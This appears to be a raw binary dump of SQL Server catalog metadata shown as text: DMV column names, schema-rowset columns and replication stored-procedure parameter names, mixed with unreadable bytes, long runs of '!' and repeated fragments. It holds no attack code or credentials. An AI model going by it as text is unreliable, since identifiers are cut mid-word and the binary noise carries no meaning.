8idle_switches_count6 is_idle6$is_online68last_timer_activity6(load_factor6<memory_object_address6.parent_node_id6(pdw_node_id6<pending_disk_io_count6Dpreemptive_switches_count64quantum_length_us6:runnable_tasks_count64scheduler_address6*scheduler_id6status6Ftask_memory_object_address62work_queue_count6(yield_count6I0action_sequence6I(action_type6I,current_state6I.mirroring_guid6Iname6I6state_machine_name6U-$column_id6U-(column_name6U-*column_value6U-<event_session_address6U-(object_name6U-8object_package_guid6U-(object_type6} @server6}"@catalog6} @schema6}@table6}@name6}(COLUMN_GUID6}4COLUMN_HASDEFAULT6}	.COLUMN_DEFAULT6}
*COLUMN_FLAGS6}BCHARACTER_MAXIMUM_LENGTH6}>CHARACTER_OCTET_LENGTH6}<CHARACTER_SET_CATALOG6}:CHARACTER_SET_SCHEMA6}6CHARACTER_SET_NAME6}4COLLATION_CATALOG6}2COLLATION_SCHEMA6}.COLLATION_NAME6vC$object_id6vC$schema_id6vC,TABLE_CATALOG6vC*TABLE_SCHEMA6vC&TABLE_NAME6vC6CONSTRAINT_CATALOG6vC4CONSTRAINT_SCHEMA6vC0CONSTRAINT_NAME6vC	*CHECK_CLAUSE6vC
(DESCRIPTION60@tran_sub_table60@property_table60@sqlqueue_table6J@subscription_articles_table6&@p2p_table6%U@@snapshot_session_token6	&@tablename6	&@ownername6 @dbname6"@optname6@value68@ignore_distributor60@from_scriptingl6l@artid-6-,@publisher_id6-,@publisher_db6-*@publication6-0@publication_idܻ6ܻ@db69@bm169@count63*@publication63"@article63(@schematypeUMN_GUID6},COLUMN_PROPID6}2ORDINAL_POSITION6}4COLUMN_HASDEFAULT6}	.COLUMN_DEFAULT6}
*COLUMN_FLAGS6}(IS_NULLABLE6}$DATA_TYPE6}
$TYPE_GUID6}BCHARACTER_MAXIMUM_LENGTH6}>CHARACTER_OCTET_LENGTH6}4NUMERIC_PRECISION6},NUMERIC_SCALE6}6DATETIME_PRECISION6}<CHARACTER_SET_CATALOG6}:CHARACTER_SET_SCHEMA6}6CHARACTER_SET_NAME6}4COLLATION_CATALOG6}2COLLATION_SCHEMA6}.COLLATION_NAME6}.DOMAIN_CATALOG6},DOMAIN_SCHEMA6}(DOMAIN_NAME6}(DESCRIPTION6vC$object_id6vC$schema_id6vC,TABLE_CATALOG6vC*TABLE_SCHEMA6vC&TABLE_NAME6vC6CONSTRAINT_CATALOG6vC4CONSTRAINT_SCHEMA6vC0CONSTRAINT_NAME6vC	*CHECK_CLAUSE6vC
(DESCRIPTION60@tran_sub_table60@property_table60@sqlqueue_table6J@subscription_articles_table6&@p2p_table6%U@@snapshot_session_token:|6:|*@suser_sname6:|&@host_name6:|,@partition_id6&@publisher6,@publisher_db6*@publication6"@toupper6R@artid6R@pubid6R @ddlcmd6	&@tablename6	&@ownername6 @dbname6"@optname6@value68@ignore_distributor60@from_scripting6C@objid6C&@next_seed6C@range6C,@is_publisher6C(@check_only6C&@drop_only6C2@initial_setting6C*@bound_valuel6l@artid6(@servername6S&@publisher6S@owner6S@table6S.@publicationid6S&@articleid6S,@command_type6S"@command6S8@subscription_levelc6c @pstrin6+*@publication6+"@article6+(@subscriber-6-,@publisher_id6-,@publisher_db6-*@publication6-0@publication_idܻV	(	

<
v

		0rPd@:nRDlBxL$pV~p

P
 

T6j&X0|<l2|>00V`-\)< m.
t0-^88
A@spid10-^88
A@spid20-Estopword0-88
Klanguage_id0-Yconcatenated_terms0-88
?@lcid0-88
W@accent_sensitive0-C@phrase0-c88
Imessage_id0-c44Klanguage_id0-c00Eseverity0-chhSis_event_logged0-\=type0-\88
Anumber0-\Ipermission0-%aW@procedure_schema0-%aS@parameter_name0-%aWPROCEDURE_CATALOG0-%aUPROCEDURE_SCHEMA0-%aQPROCEDURE_NAME0-%aQPARAMETER_NAME0-%a44UORDINAL_POSITION0-%a44QPARAMETER_TYPE0-%a00]PARAMETER_HASDEFAULT0-%aWPARAMETER_DEFAULT0-%a	hhKIS_NULLABLE0-%a
44GDATA_TYPE0-%a44MDATA_TYPE_900-%a88
eCHARACTER_MAXIMUM_LENGTH0-%a
88
kCHARACTER_MAXIMUM_LENGTH_900-%a88
aCHARACTER_OCTET_LENGTH0-%a88
gCHARACTER_OCTET_LENGTH_900-%a44WNUMERIC_PRECISION0-%a44ONUMERIC_SCALE0-%addKDESCRIPTION0-%aGTYPE_NAME0-%aSLOCAL_TYPE_NAME0-%a{SS_XML_SCHEMACOLLECTION_CATALOGNAME0-%aySS_XML_SCHEMACOLLECTION_SCHEMANAME0-%akSS_XML_SCHEMACOLLECTIONNAME0-%aYSS_UDT_CATALOGNAME0-%aWSS_UDT_SCHEMANAME0-%aKSS_UDT_NAME0-%a@@eSS_UDT_ASSEMBLY_TYPENAME0-%a]SS_TYPE_CATALOG_NAME0-%aYSS_TYPE_SCHEMANAME0-%a88
_SS_DATETIME_PRECISION0-hhS@tran_sub_table0-hhS@property_table0-hhS@sqlqueue_table0-hhm@subscription_articles_table0-hhI@p2p_table0-/?@type0-/?@mode0-آ88
Q@publicationID0-آ88
I@articleID0-آ88
Q@tracercmdtype0-آI@tracerstr0-آI@publisher0-u88
?@type0-uM@publication0-uhhM@from_backup0-=iI@publisher0-=iO@publisher_db0-=iM@publication0-=iK@subscriber0-=iQ@subscriber_db0-=i00Y@subscription_type0-=i00I@sync_type0-=i00C@status0-=i	88
S@frequency_type0-=i
88
[@frequency_interval0-=i88
m@frequency_relative_interval0-=i88
m@frequency_recurrence_factor0-=i
88
W@frequency_subday0-=i88
i@frequency_subday_interval0-=i88
g@active_start_time_of_day0-=i88
c@active_end_time_of_day0-=i88
Y@active_start_date0-=i88
U@active_end_date0-=i@a@optional_command_line0-=iK@agent_name0-=iM@merge_jobid0-=ihhO@offloadagent0-=iQ@offloadserver0-=iG@hostname0-=iM@description0-=i$$A@subid0-=iG@internal0-=i88
g@publisher_engine_edition-88
0-88
W@source_object_idNAME0-%a]SS_TYPE_CATALOG_NAME0-%aYSS_TYPE_SCHEMANAME0-%a88
_SS_DATETIME_PRECISION0-hh}8na
r%e =N
'iHahW0Ver'B`E

J
fQ
`
		-	{45>A`T
-HO)11!F8?Γd0-sG@loginame0-sG@language-.0-.?@geog0-GJK@table_name0-GJM@table_owner0-GJU@table_qualifier0-GJG@col_type0-GJA@scope0-GJG@nullable0-GJ88
E@ODBCVer0-!(E@Catalog0-!(A@Owner0-!(A@Table0-!(?@Name0-[p"$$C@job_id0-[p"00C@action0-Q@source_object0-C@column0-pG@typetext0-@[@publication_to_add0-88
K@from_agent0-@_@schema_change_script0-hhi@force_invalidate_snapshot0-hhi@force_reinit_subscription0-GA@value0-Ghh[@ignore_distributor0-GhhM@from_backup0-88
A@tabid0-00Q@publishertype0-o[artcache_db_address0-oaartcache_table_address0-ocartcache_schema_address0-oeartcache_article_address0-o88
?artid0-o88
Gartfilter0-o88
Eartobjid0-o88
Eartpubid0-o	00Gartstatus0-o
00Carttype0-o4SwszArtdesttable0-o4]wszArtdesttableowner0-o
4MwszArtinscmd0-o88
IcmdTypeIns0-o4MwszArtdelcmd0-o88
IcmdTypeDel0-o4MwszArtupdcmd0-o88
IcmdTypeUpd0-o4[wszArtpartialupdcmd0-o88
WcmdTypePartialUpd0-o88
Anumcol0-o00Iartcmdtype0-o@4@Martgeninscmd0-o@4@Martgendelcmd0-o@4@Martgenupdcmd0-o@4@Uartpartialupdcmd0-o@4@Martupdtxtcmd0-o@4@Oartgenins2cmd0-o@4@Oartgendel2cmd0-o00MfInReconcile0-o00SfPubAllowUpdate0-o 88
_intPublicationOptions0-n?S@primary_server0-n?W@primary_database0-eDW@backup_file_name0-eDQ@database_name0-eDhhC@result0-eDhhE@verbose0-02R(G@job_type0-0@E@genlist0-0S@gendeclarelist0-0Q@genselectlist0-0O@genunionlist0-RM@publication0-RE@article0-R88
K@base_objid0-R88
K@join_objid0-R88
M@join_unique0-RY@join_filterclauseY@subscription_type0-fv00I@sync_type0-fv	00C@status0-fv
M@description0-fv$$A@subid0-fv88
[@subscriber_version0-z[@original_publisher0-z_@redirected_publisher0-zI@pubdbname0-ze@publisher_linked_server0-n?S@primary_server0-n?W@primary_database0-eDW@backup_file_name0-eDQ@database_name0-eDhhC@result0-eDhhE@verbose0-02R(G@job_type0-0@E@genlist0-0S@gendeclarelist0-0Q@genselectlist0-0O@genunionlist0-RM@publication0-RE@articleOv4M65@cK^9]
p+&_e\Xm ~1Z_
|
3
6g"

7
	s		4l!<`#-\8)|"7{߿J0-88
Kassembly_id0-Wappdomain_address0-==Gload_time0-oio_completion_request_address0-x4xCio_type0-[io_pending_ms_ticks0-88
Iio_pending0-oio_completion_routine_address0-]io_user_data_address0-Wscheduler_address0-Gio_handle0-	Gio_offset0-
88
Kpdw_node_id0-}nYconstraint_catalog0-}nWconstraint_schema0-}nSconstraint_name0-}nOtable_catalog0-}nMtable_schema0-}nItable_name0-}nIindex_name0-}nxxGtype_desc0-RU@policy_category0-288
K@profile_id0-2G@property0-2pA@value-0-E@command0-hhK@prependDBO0-oI@publisher0-uM@publication0-uI@publisher0-uO@publisher_db0-~[@original_publisher0-~O@publisher_db0-~_@redirected_publisher0-~e@publisher_linked_server0-~hhc@use_caller_credentials0-<00?@type0-<00?@mode0-<$$A@jobid0-<G@job_name0-<M@description0-<E@command0-<hhI@overwrite0-JQ@source_schema0-JM@source_name0-J_@captured_column_list0-'88
I@wait_time0-'88
Q@lock_acquired0-jM@publication0-jQ@source_object0-jI@publisher0-jO@publisher_db0-j88
g@logical_record_conflicts-V588
0-V5;@bm!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!t)g`Z-W
8)~$Mf0-|88
A@objid0-E@tabname0-I@indexname0-00I@outputxml0-K@xml_output0-00Q@verboseoutput0-C@window0-G88
Kdatabase_id0-G88
Urecovery_unit_id0-GMlog_block_id0-GMcache_buffer0-G88
=size0-G88
Kref_counter0-G88
Sfuture_interest0-G00Gis_pushed0-G	_disk_read_consumer_id0-G
00Wis_log_read_ahead0-G00Uis_tran_consumed0-G00Yis_hadron_consumed0-G
00Yis_replay_consumed0-G00Uis_repl_consumed0-G88
Ypersistence_status0-G88
]entry_scan_direction0-G88
Aweight0-G88
K@DatabaseId0-֬88
Arun_id0-֬88
Kpdw_node_id0-֬  Astatus0-֬==Istart_time0-֬==Eend_time0-֬88
Ytotal_elapsed_time0-֬88
Eprogress-88
0-88
U@number_of_units0-00O@unit_of_time0-88
Q@head_of_queue0-[o=@gen0-[o88
G@art_nick0-[o88
[@leveling_threshold0-[oE@nickbin0-[oG@replnick0-[ohh[@level_deletes_only0-[ohhS@force_leveling0-yֶA@value0-yֶhh[@ignore_distributor0-I@publisher0-O@publisher_db0-W@publication_name0-$$A@pubid0-hhe@allow_subscription_copy0-88
I@retention0-88
W@conflict_logging0-88
C@status0-	hha@allow_synctoalternate0-
88
Q@replicate_ddl0-hhy@automatic_reinitialization_policyery_count0-G)hhUis_transactional0-G)	Gclient_id0-G)
Eapp_name0-֬88
Arun_id0-֬88
Kpdw_node_id0-֬  Astatus0-֬==Istart_time0-֬==Eend_time0-֬88
Ytotal_elapsed_time0-֬88
Eprogress0-pc2M@server_name0-pc2Q@pk_table_name0-pc2U@pk_table_schema0-pc2W@pk_table_catalog0-pc2]@foreignkey_tab_name0-pc2a@foreignkey_tab_schema0-pc2c@foreignkey_tab_catalog0-500?@mode0-E?G@orig_srv0-E?E@orig_db0-E?E@command0-E?88
K@article_id0-E?88
S@publication_id0-E?hhG@cmdstate0-E?88
?@mode0-E?hhI@setprefix-88
0-88
U@number_of_units0-00O@unit_of_time0-?@dbms0-E@version0-~M@publication0-~K@subscriber0-~S@destination_db0-I@publisher0-O@publisher_db0-M@publication0-I@publisher0-O@publisher_db0-M@publication0- #G@database0- #hh]@ignoreremotemonitor0-88
Q@head_of_queue0-[o=@gen0-[o88
G@art_nick0-[o88
[@leveling_threshold0-[oE@nickbin"ci*1Jc&{pilDW
1

x/Sps$
	b		H

?
`@	-])Y%@j.^0->G@typename0->G@phystype0->G@nulltype0->A@owner0-ZG4GDriveName-&W0-&W?@geom0-y88
Kdatabase_id0-y44Cfile_id0-y44Mfilegroup_id0-yUtotal_page_count0-ykallocated_extent_page_count0-younallocated_extent_page_count0-ywversion_store_reserved_page_count0-ysuser_object_reserved_page_count0-y	{internal_object_reserved_page_count0-y
cmixed_extent_page_count0-y88
Kpdw_node_id0-qKG@loginame0-ΝH4HKlistener_id0-Ν`4`Iip_address0-Ν4Qip_subnet_mask0-ΝhhCis_dhcp0-Ν`4`Wnetwork_subnet_ip0-Ν88
mnetwork_subnet_prefix_length0-Ν`4`enetwork_subnet_ipv4_mask0-Ν00?state0-Ν	x4xIstate_desc0-DQthread_address0-Dhh[started_by_sqlservr0-D88
Mos_thread_id0-D88
Astatus0-D[instruction_address0-D==Ocreation_time0-DKkernel_time0-DOusermode_time0-D	Ystack_base_address0-D
Wstack_end_address0-D88
_stack_bytes_committed0-D88
Ustack_bytes_used0-D
Eaffinity0-D88
Epriority0-D88
Alocale0-D?token0-D88
Uis_impersonating0-D88
gis_waiting_on_loader_lock0-DIfiber_data0-DOthread_handle0-DMevent_handle0-88
Kdms_core_id0-88
Kpdw_node_id0-@@Astatus0-Yj88
Mcomponent_id0-Yj88
Egroup_id0-YjQcomponent_name-Ehh0-EC@hexstr0-}QI@publisher0-}QO@publisher_db0-}QM@publication0-}QG@reserved0-}QhhM@from_backup0-)K88
Y@subtype_addcolumn0-)K88
Q@subtype_adddf0-)K88
A@objid0-)Khhc@break_add_into_singles0-)K88
E@subtype0-)K88
]@subscription_active0-)KhhM@debug_print-XV0-XV=@cmd0-(fE@objname0-(fG@objowner0-z
I@publisher0-W@secondary_server0-[@secondary_database0-^$$G@agent_id0-^00K@agent_type0-%UO@source_table0-%UM@table_owner0-%U88
U@column_tracking0-%U00O@trigger_type0-%UG@viewname0-%UC@tsview0-%UG@trigname0-%Ui@current_mappings_viewname0-%U	c@past_mappings_viewname0-%U
]@genhistory_viewname0-IZM@publication0-t$$A@pubid0-t$$A@artid0-Nd$$A@pubid0-p$$A@pubid[V

L
AN

c

	j	*!	}v%uJB!7]x-`Ik?s,SbQ
n%1Hv5`n	-0)&&G0-88
9id0-00Gattribute0-@;wkb0-E@gGeoObj0->>5?@minx0->>5?@miny0->>5?@maxx0->>5?@maxy0-88
A@crows0-88
G@ccolumns0-,W@application_name0-,88
K@agent_type0-ShhG@is_biton0-M@publication0-E@article0-I@publisher0-M@publication0-E@article0-hhU@identity_insert0-88
A@artid0-00?@mode0-888
K@article_id0-uI@publisher0-uO@publisher_db0-uM@publication0-uE@article0-u88
A@artid0-uK@subscriber0-uS@destination_db0-u
S@next_valid_lsn0-I@publisher0-O@publisher_db0-M@publication0-_@dynamic_filter_login0-e@dynamic_filter_hostname0-88
S@frequency_type0-88
[@frequency_interval0-88
W@frequency_subday0-	88
i@frequency_subday_interval0-
88
m@frequency_relative_interval0-88
m@frequency_recurrence_factor0-88
Y@active_start_date0-
88
U@active_end_date0-88
g@active_start_time_of_day0-88
c@active_end_time_of_day0-I@job_login0-O@job_password0-00?@modeesc0-+Qx4x]alloc_unit_type_desc0-+Q00Kindex_depth0-+Q00Kindex_level0-+Q	>>5mavg_fragmentation_in_percent0-+Q
Qfragment_count0-+Q>>5iavg_fragment_size_in_pages0-+QIpage_count0-+Q
>>5qavg_page_space_used_in_percent0-+QMrecord_count0-+QYghost_record_count0-+Qiversion_ghost_record_count0-+Q88
emin_record_size_in_bytes0-44K@whattodrop0-,W@application_name0-,88
K@agent_type0-ShhG@is_biton0-i88
K@agent_type0-iU@distribution_db->0-> I@agenttype0->$$C@job_id0-%0M@publication0-%0E@article0-%0K@subscriber0-%0S@destination_db0-%0<G@property0-%0@A@value0-%0I@publisher0-%0S@publisher_type0-M@publication0-E@article0-I@publisher0-M@publication0-E@article0-hhU@identity_insert0-88
A@artid0-00?@mode0-+M@publication0-+E@article0-+G@ins_proc0-+G@upd_proc0-+G@del_proc0-+G@upd_trig0-+hhA@alter0-Z88
I@src_objid0-Z88
A@artid0-Z00Q@publishertype0-888
K@article_id0-uI@publisher0-uO@publisher_db0-uM@publication0-uE@article0-u88
A@artid0-uK@subscriber0-uS@destination_dbPu$h
U

:d

_
		N	c?Z:_;\``I-;)
'J!=B0-S88
Kdatabase_id0-S88
Cfile_id0-S88
Cpage_id0-S88
Ipage_level0-SYallocation_unit_id0-Sx4xGpage_type0-S88
Grow_count0-S88
[free_space_in_bytes0-S	hhKis_modified0-S
88
Gnuma_node0-SOread_microsec0-S88
Kpdw_node_id0-axI@operation0-a?@name0-88
GOBJECT_ID0-88
GSCHEMA_ID0-OTABLE_CATALOG0-MTABLE_SCHEMA0-ITABLE_NAME0-OINDEX_CATALOG0-MINDEX_SCHEMA0-IINDEX_NAME0-	hhKPRIMARY_KEY0-
hhAUNIQUE0-hhGCLUSTERED0-44=TYPE0-
88
KFILL_FACTOR0-88
MINITIAL_SIZE0-88
?NULLS0-hhQSORT_BOOKMARKS0-hhKAUTO_UPDATE0-88
QNULL_COLLATION0-88
UORDINAL_POSITION0-KCOLUMN_NAME0-$$KCOLUMN_GUID0-88
OCOLUMN_PROPID0-44GCOLLATION0-88
KCARDINALITY0-88
?PAGES0-@UFILTER_CONDITION0-hhIINTEGRATED0-88
ASTATUS0-eI@publisher0-eO@publisher_db0-eM@publication0-eK@subscriber0-eQ@subscriber_db0-e88
E@enabled0-eC@regkey0-tQ@source_folder0-t[@destination_folder-
s88
0-
s44O@publisher_id0-
sO@publisher_db0-
sM@publication0-
s88
S@publication_id0-E$$A@pubid0-EhhS@uses_host_name0-EhhW@uses_suser_sname]total_fragments_sent0-Metotal_fragments_received0-MKtotal_sends0-MQtotal_receives0-M$$[peer_arbitration_id0-@C@dbname0-@G@filename0-RMtask_address0-RhhQis_remote_task0-R44Isession_id0-R88
Irequest_id0-R88
Sexec_context_id0-R88
Kdatabase_id0-Rouser_objects_alloc_page_count0-Rsuser_objects_dealloc_page_count0-R	winternal_objects_alloc_page_count0-R
{internal_objects_dealloc_page_count0-R88
Kpdw_node_id0-}ȟxx?event0-}ȟHHEevent_id0-}ȟ==Kcreate_time0-}ȟ88
Isession_id0-}ȟ88
;cpu0-}ȟ88
?reads0-}ȟ88
Awrites0-}ȟ@@Esql_text0-}ȟ	Sclient_app_name0-}ȟ
Itsql_stack0-}ȟ88
Kpdw_node_id0-88
GOBJECT_ID0-88
GSCHEMA_ID0-OTABLE_CATALOG0-MTABLE_SCHEMA0-ITABLE_NAME0-OINDEX_CATALOG0-MINDEX_SCHEMA0-IINDEX_NAME0-	hhKPRIMARY_KEY0-
hhAUNIQUE0-hhGCLUSTERED0-44=TYPE0-
88
KFILL_FACTOR0-88
MINITIAL_SIZE0-88
?NULLS0-hhQSORT_BOOKMARKS0-hhKAUTO_UPDATEEh

<
		K		p#T2Mp>W
l;L
k

1Naz1`	-*,)()LJ}0-$(44Kdatabase_id0-$(88
Gobject_id0-$(88
Eindex_id0-$(88
Upartition_number0-$(Wleaf_insert_count0-$(Wleaf_delete_count0-$(Wleaf_update_count0-$(Uleaf_ghost_count0-$(	]nonleaf_insert_count0-$(
]nonleaf_delete_count0-$(]nonleaf_update_count0-$(_leaf_allocation_count0-$(
enonleaf_allocation_count0-$(_leaf_page_merge_count0-$(enonleaf_page_merge_count0-$(Urange_scan_count0-$(asingleton_lookup_count0-$(_forwarded_fetch_count0-$(Ylob_fetch_in_pages0-$(Ylob_fetch_in_bytes0-$(clob_orphan_create_count0-$(clob_orphan_insert_count0-$(krow_overflow_fetch_in_pages0-$(krow_overflow_fetch_in_bytes0-$(scolumn_value_push_off_row_count0-$(qcolumn_value_pull_in_row_count0-$(Qrow_lock_count0-$([row_lock_wait_count0-$([row_lock_wait_in_ms0-$(Spage_lock_count0-$(]page_lock_wait_count0-$( ]page_lock_wait_in_ms0-$(!yindex_lock_promotion_attempt_count0-$("iindex_lock_promotion_count0-$(#_page_latch_wait_count0-$($_page_latch_wait_in_ms0-$(%epage_io_latch_wait_count0-$(&epage_io_latch_wait_in_ms0-$('itree_page_latch_wait_count0-$((itree_page_latch_wait_in_ms0-$()otree_page_io_latch_wait_count0-$(*otree_page_io_latch_wait_in_ms0-$(+qpage_compression_attempt_count0-$(,qpage_compression_success_count!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!kJ

!
Y&
x

	[	}L; \C:7`J-5y))%(țh0-8~yvirtual_address_space_committed_kb0-8~yvirtual_address_space_available_kb0-8~Upage_fault_count0-8~	88
omemory_utilization_percentage0-8~
gavailable_commit_limit_kb0-8~hhkprocess_physical_memory_low0-8~hhiprocess_virtual_memory_low0-U&88
Gobject_id0-U&88
Gschema_id0-U&OTABLE_CATALOG0-U&MTABLE_SCHEMA0-U&ITABLE_NAME0-U&KCOLUMN_NAME0-U&$$KCOLUMN_GUID0-U&88
OCOLUMN_PROPID0-U&	88
CORDINAL0-U&
CPK_NAME0-!O@table_schema0-!K@table_type0-,@;@q10-,@;@q20-,@;@q30-,@;@q40-,@;@q50-,@;@q60-,@;@q70-,@;@q80-,	@;@q90-,
@=@q100-,@=@q110-,@=@q120-,
@=@q130-,@=@q140-,@=@q150-,@=@q160-,@=@q170-,@=@q180-,@=@q190-,@=@q200-,@=@q210-,@=@q220-,@=@q230-,@=@q240-,@=@q250-,@=@q260-,@=@q270-,@=@q280-,@=@q290-,@=@q300-,@=@q310-, @=@q320-,!@=@q330-,"@=@q340-,#@=@q350-,$@=@q360-,%@=@q370-,&@=@q380-,'@=@q390-,(@=@q400-,)@=@q410-,*@=@q420-,+@=@q430-,,@=@q440-,-@=@q450-,.@=@q460-,/@=@q470-,0@=@q480-,1@=@q490-,2@=@q500-,3@=@q510-,4@=@q520-,5@=@q530-,6@=@q540-,7@=@q550-,8@=@q560-,9@=@q570-,:@=@q580-,;@=@q590-,<@=@q600-,=@=@q610-,>@=@q620-,?@=@q630-,@@=@q640-,A@=@q650-,B@=@q660-,C@=@q670-,D@=@q680-,E@=@q690-,F@=@q700-,G@=@q710-,H@=@q720-,I@=@q730-,J@=@q740-,K@=@q750-,L@=@q760-,M@=@q770-,N@=@q780-,O@=@q790-,P@=@q800-,Q@=@q810-,R@=@q820-,S@=@q830-,T@=@q840-,U@=@q850-,V@=@q860-,W@=@q870-,X@=@q880-,Y@=@q890-,Z@=@q900-,[@=@q910-,\@=@q920-,]@=@q930-,^@=@q940-,_@=@q950-,`@=@q960-,a@=@q970-,b@=@q980-,c@=@q990-,d@?@q1000-,e@?@q1010-,f@?@q102NZf)r5~AMYe(q4}@LXd'p3|?KW

c
&
o2{>

J

		V		f+z?Z{.Q~/}R`N-v)>*$dR0-p'44Qtrace_event_id0-p'44Kcategory_id0-p'4=name0-C@DBName0-E@objname0-lo2E@devname0-:E@sp_name0-:G@sp_owner0-:O@sp_qualifier0-:hhM@fUsePattern0-iS	Cdb_name0-iS	Wcurrent_principal0-iS	88
Qmirroring_role0-iS	88
Smirroring_state0-G@job_name0-W@owner_login_name0-I@subsystem0-I@job_login0-O@job_password0-88
G@proxy_id0-NH
88
I@src_objid0-NH
88
A@artid0-NH
C@prefix0-NH
00Q@artcolcounter0-NH
00Q@publishertype0-NH
hh[@skipcomputedcolumn0-sM@publication0-
$$A@pubidI@filename10-KI@filename20-KI@filename30-KI@filename40-KI@filename50-KI@filename60-KI@filename70-K	I@filename80-K
I@filename90-KK@filename100-KK@filename110-K
K@filename120-KK@filename130-KK@filename140-KK@filename150-KK@filename160-S44_resource_semaphore_id0-SUtarget_memory_kb0-S]max_target_memory_kb0-SStotal_memory_kb0-S[available_memory_kb0-SWgranted_memory_kb0-SQused_memory_kb0-S88
Ograntee_count0-S	88
Mwaiter_count0-S
[timeout_error_count0-SYforced_grant_count0-S88
Cpool_id0-S
88
Kpdw_node_id0-LSUoio_completion_request_address0-LSUx4xCio_type0-LSU[io_pending_ms_ticks0-LSU88
Iio_pending0-LSUoio_completion_routine_address0-LSU]io_user_data_address0-LSUWscheduler_address0-LSUGio_handle0-LSU	Gio_offset0-F8XC@server0-F8XK@srvproduct0-F8XG@provider0-F8X@E@datasrc0-F8X@G@location0-F8X@E@provstr0-F8XE@catalog0-F8XhhM@linkedstyle0-F8X	hhK@localentry0-"B4Kmember_name0-"B4Wnetwork_subnet_ip0-"BZ4Zenetwork_subnet_ipv4_mask0-"B88
mnetwork_subnet_prefix_length0-"BhhGis_public0-"BhhCis_ipv40-Țcdispatcher_pool_address0-ȚMtask_address0-Țx4x?state0-ȚOwait_duration0-Ț_current_item_duration0-ȚSitems_processed0-Ț88
Ofade_end_time0-Ț88
Kpdw_node_id0-Pn88
G@newvalue0-cQE@tabname0-cQM@triggertype0-]O@table_server0-]K@table_name0-]O@table_schema0-]Q@table_catalog0-]M@column_name0-]88
E@ODBCVer0-]hhM@fUsePattern0-:E@sp_name0-:G@sp_owner0-:O@sp_qualifier0-:hhM@fUsePattern0-iS	Cdb_name	F	kK|9IP{2q.S
l``-:I)+$̾0-"32$$?ag_id0-"32$$Oag_replica_id0-"3200Sconnected_state0-"3288
glast_connect_error_number0-"324qlast_connect_error_description0-"32==mlast_connect_error_timestamp0-Z688
Arun_id0-Z688
Kpdw_node_id0-Z6  Astatus0-Z6==Istart_time0-Z6==Eend_time0-Z688
Ytotal_elapsed_time0-Z688
Eprogress0-;SFI@publisher0-;SFO@publisher_db0-;SFM@publication0-;SF88
Y@subscription_type0-;SFY@subscription_guid0-;SFG@queue_id0-;SFO@queue_server0-oI@job_login0-oO@job_password0-oG@job_name0-o44e@publisher_security_mode0-oU@publisher_login0-o[@publisher_password0-oI@publisher0-h44O@publisher_id0-hO@publisher_db0-`hI@publisher0-`hO@publisher_db0-`hK@subscriber0-`h88
K@article_id0-`hQ@subscriber_db0-`hM@publication0-`hE@article0-/PI@publisher0-/PO@publisher_db0-/PI@tablename0-/P88
W@identity_support0-/P[@pub_identity_range0-/PS@identity_range0-/P88
I@threshold0-/PI@next_seed0-/P	O@max_identity0-kLO@source_table0-kLA@owner0-kLC@object0-kL$$A@artid0-kL88
U@column_tracking0-kLG@viewname0-kLG@trigname0-kLi@current_mappings_viewname0-kL	c@past_mappings_viewname0-kL
]@genhistory_viewname0-
H88
O@user_type_id0-
H44=@len0-
H88
?@prec0-
H88
A@scale0-
HQ@schema_option0-
H?@type0-
HE@schname0-
H44C@maplen0-%Pm$$A@pubid0-%Pm@E@genlist0-%Pm88
S@articlesoption0-%Pm88
Q@tablenickname0-%Pm@O@nicknamelist0-%PmC@mingen0-%PmC@maxgen0-%Pm@M@skipgenlist0-%Pm	88
g@contents_subset_rowcount0-%Pm
88
